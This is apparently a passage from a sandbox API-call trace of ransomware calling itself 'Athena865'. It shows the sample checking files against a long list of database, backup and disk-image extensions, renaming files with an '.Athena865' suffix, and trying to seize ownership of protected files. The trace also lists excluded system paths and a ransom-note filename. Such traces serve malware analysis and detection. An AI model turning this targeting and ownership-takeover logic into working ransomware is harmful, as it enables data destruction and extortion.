lstrlenW (lpString="adp") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.168] lstrlenW (lpString="alf") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.169] lstrlenW (lpString="ask") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.169] lstrlenW (lpString="btr") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.169] lstrlenW (lpString="cat") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.169] lstrlenW (lpString="cdb") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.169] lstrlenW (lpString="ckp") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.169] lstrlenW (lpString="cma") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.169] lstrlenW (lpString="cpd") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.169] lstrlenW (lpString="dacpac") returned 6 [0035.169] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.169] lstrlenW (lpString="dad") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.169] lstrlenW (lpString="dadiagrams") returned 10 [0035.169] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.169] lstrlenW (lpString="daschema") returned 8 [0035.169] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.169] lstrlenW (lpString="db-journal") returned 10 [0035.169] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.169] lstrlenW (lpString="db-shm") returned 6 [0035.169] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.169] lstrlenW (lpString="db-wal") returned 6 [0035.169] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.169] lstrlenW (lpString="dbc") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.169] lstrlenW (lpString="dbs") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.169] lstrlenW (lpString="dbt") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.169] lstrlenW (lpString="dbv") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.169] lstrlenW (lpString="dbx") returned 3 [0035.169] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.170] lstrlenW (lpString="dcb") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.170] lstrlenW (lpString="dct") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.170] lstrlenW (lpString="dcx") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.170] lstrlenW (lpString="ddl") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.170] lstrlenW (lpString="dlis") returned 4 [0035.170] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.170] lstrlenW (lpString="dp1") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.170] lstrlenW (lpString="dqy") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.170] lstrlenW (lpString="dsk") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.170] lstrlenW (lpString="dsn") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.170] lstrlenW (lpString="dtsx") returned 4 [0035.170] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.170] lstrlenW (lpString="dxl") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.170] lstrlenW (lpString="eco") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.170] lstrlenW (lpString="ecx") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.170] lstrlenW (lpString="edb") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.170] lstrlenW (lpString="epim") returned 4 [0035.170] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.170] lstrlenW (lpString="fcd") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.170] lstrlenW (lpString="fdb") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.170] lstrlenW (lpString="fic") returned 3 [0035.170] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.170] lstrlenW (lpString="flexolibrary") returned 12 [0035.171] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.171] lstrlenW (lpString="fm5") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.171] lstrlenW (lpString="fmp") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.171] lstrlenW (lpString="fmp12") returned 5 [0035.171] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.171] lstrlenW (lpString="fmpsl") returned 5 [0035.171] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.171] lstrlenW (lpString="fol") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.171] lstrlenW (lpString="fp3") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.171] lstrlenW (lpString="fp4") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.171] lstrlenW (lpString="fp5") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.171] lstrlenW (lpString="fp7") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.171] lstrlenW (lpString="fpt") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.171] lstrlenW (lpString="frm") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.171] lstrlenW (lpString="gdb") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.171] lstrlenW (lpString="gdb") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.171] lstrlenW (lpString="grdb") returned 4 [0035.171] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.171] lstrlenW (lpString="gwi") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.171] lstrlenW (lpString="hdb") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.171] lstrlenW (lpString="his") returned 3 [0035.171] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.171] lstrlenW (lpString="ib") returned 2 [0035.171] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.172] lstrlenW (lpString="idb") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.172] lstrlenW (lpString="ihx") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.172] lstrlenW (lpString="itdb") returned 4 [0035.172] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.172] lstrlenW (lpString="itw") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.172] lstrlenW (lpString="jet") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.172] lstrlenW (lpString="jtx") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.172] lstrlenW (lpString="kdb") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.172] lstrlenW (lpString="kexi") returned 4 [0035.172] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.172] lstrlenW (lpString="kexic") returned 5 [0035.172] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.172] lstrlenW (lpString="kexis") returned 5 [0035.172] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.172] lstrlenW (lpString="lgc") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.172] lstrlenW (lpString="lwx") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.172] lstrlenW (lpString="maf") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.172] lstrlenW (lpString="maq") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.172] lstrlenW (lpString="mar") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.172] lstrlenW (lpString="marshal") returned 7 [0035.172] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.172] lstrlenW (lpString="mas") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.172] lstrlenW (lpString="mav") returned 3 [0035.172] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.172] lstrlenW (lpString="maw") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.173] lstrlenW (lpString="mdbhtml") returned 7 [0035.173] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.173] lstrlenW (lpString="mdn") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.173] lstrlenW (lpString="mdt") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.173] lstrlenW (lpString="mfd") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.173] lstrlenW (lpString="mpd") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.173] lstrlenW (lpString="mrg") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.173] lstrlenW (lpString="mud") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.173] lstrlenW (lpString="mwb") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.173] lstrlenW (lpString="myd") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.173] lstrlenW (lpString="ndf") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.173] lstrlenW (lpString="nnt") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.173] lstrlenW (lpString="nrmlib") returned 6 [0035.173] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.173] lstrlenW (lpString="ns2") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.173] lstrlenW (lpString="ns3") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.173] lstrlenW (lpString="ns4") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.173] lstrlenW (lpString="nsf") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.173] lstrlenW (lpString="nv") returned 2 [0035.173] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.173] lstrlenW (lpString="nv2") returned 3 [0035.173] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.173] lstrlenW (lpString="nwdb") returned 4 [0035.174] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.174] lstrlenW (lpString="nyf") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.174] lstrlenW (lpString="odb") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.174] lstrlenW (lpString="odb") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.174] lstrlenW (lpString="oqy") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.174] lstrlenW (lpString="ora") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.174] lstrlenW (lpString="orx") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.174] lstrlenW (lpString="owc") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.174] lstrlenW (lpString="p96") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.174] lstrlenW (lpString="p97") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.174] lstrlenW (lpString="pan") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.174] lstrlenW (lpString="pdb") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.174] lstrlenW (lpString="pdm") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.174] lstrlenW (lpString="pnz") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.174] lstrlenW (lpString="qry") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.174] lstrlenW (lpString="qvd") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.174] lstrlenW (lpString="rbf") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.174] lstrlenW (lpString="rctd") returned 4 [0035.174] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.174] lstrlenW (lpString="rod") returned 3 [0035.174] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.175] lstrlenW (lpString="rodx") returned 4 [0035.175] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.175] lstrlenW (lpString="rpd") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.175] lstrlenW (lpString="rsd") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.175] lstrlenW (lpString="sas7bdat") returned 8 [0035.175] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.175] lstrlenW (lpString="sbf") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.175] lstrlenW (lpString="scx") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.175] lstrlenW (lpString="sdb") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.175] lstrlenW (lpString="sdc") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.175] lstrlenW (lpString="sdf") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.175] lstrlenW (lpString="sis") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.175] lstrlenW (lpString="spq") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.175] lstrlenW (lpString="te") returned 2 [0035.175] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.175] lstrlenW (lpString="teacher") returned 7 [0035.175] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.175] lstrlenW (lpString="tmd") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.175] lstrlenW (lpString="tps") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.175] lstrlenW (lpString="trc") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.175] lstrlenW (lpString="trc") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.175] lstrlenW (lpString="trm") returned 3 [0035.175] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.175] lstrlenW (lpString="udb") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.176] lstrlenW (lpString="udl") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.176] lstrlenW (lpString="usr") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.176] lstrlenW (lpString="v12") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.176] lstrlenW (lpString="vis") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.176] lstrlenW (lpString="vpd") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.176] lstrlenW (lpString="vvv") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.176] lstrlenW (lpString="wdb") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.176] lstrlenW (lpString="wmdb") returned 4 [0035.176] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.176] lstrlenW (lpString="wrk") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.176] lstrlenW (lpString="xdb") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.176] lstrlenW (lpString="xld") returned 3 [0035.176] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.176] lstrlenW (lpString="xmlff") returned 5 [0035.176] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.176] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.176] GetLastError () returned 0x5 [0035.176] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.176] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.176] SetEntriesInAclW () returned 0x0 [0035.176] SetNamedSecurityInfoW () returned 0x5 [0035.177] SetNamedSecurityInfoW () returned 0x5 [0035.177] LocalFree (hMem=0x529490) returned 0x0 [0035.177] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.177] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.177] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x672 [0035.177] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.177] CloseHandle (hObject=0x154) returned 1 [0035.178] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.178] CloseHandle (hObject=0x0) returned 0 [0035.178] CloseHandle (hObject=0x0) returned 0 [0035.178] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6eadf560, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x6eadf560, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xa8b13a10, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfd58000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{5C1EC~1")) returned 1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.178] lstrlenW (lpString="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.178] lstrcpyW (in: lpString1=0x241e882, lpString2="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.178] lstrlenW (lpString="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.178] lstrlenW (lpString="Athena865") returned 9 [0035.178] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.178] lstrlenW (lpString=".dll") returned 4 [0035.178] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.179] lstrlenW (lpString=".lnk") returned 4 [0035.179] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.179] lstrlenW (lpString=".ini") returned 4 [0035.179] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.179] lstrlenW (lpString=".sys") returned 4 [0035.179] lstrcmpiW (lpString1="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.179] lstrlenW (lpString="{5c1ec902-668e-11e7-870f-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.179] lstrlenW (lpString="bak") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.179] lstrlenW (lpString="ba_") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.179] lstrlenW (lpString="dbb") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.179] lstrlenW (lpString="vmdk") returned 4 [0035.179] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.179] lstrlenW (lpString="rar") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.179] lstrlenW (lpString="zip") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.179] lstrlenW (lpString="tgz") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.179] lstrlenW (lpString="vbox") returned 4 [0035.179] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.179] lstrlenW (lpString="vdi") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.179] lstrlenW (lpString="vhd") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.179] lstrlenW (lpString="vhdx") returned 4 [0035.179] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.179] lstrlenW (lpString="avhd") returned 4 [0035.179] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.179] lstrlenW (lpString="db") returned 2 [0035.179] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.179] lstrlenW (lpString="db2") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.179] lstrlenW (lpString="db3") returned 3 [0035.179] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.180] lstrlenW (lpString="dbf") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.180] lstrlenW (lpString="mdf") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.180] lstrlenW (lpString="mdb") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.180] lstrlenW (lpString="sql") returned 3 [0035.180] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.180] lstrlenW (lpString="sqlite") returned 6 [0035.180] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.180] lstrlenW (lpString="sqlite3") returned 7 [0035.180] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.180] lstrlenW 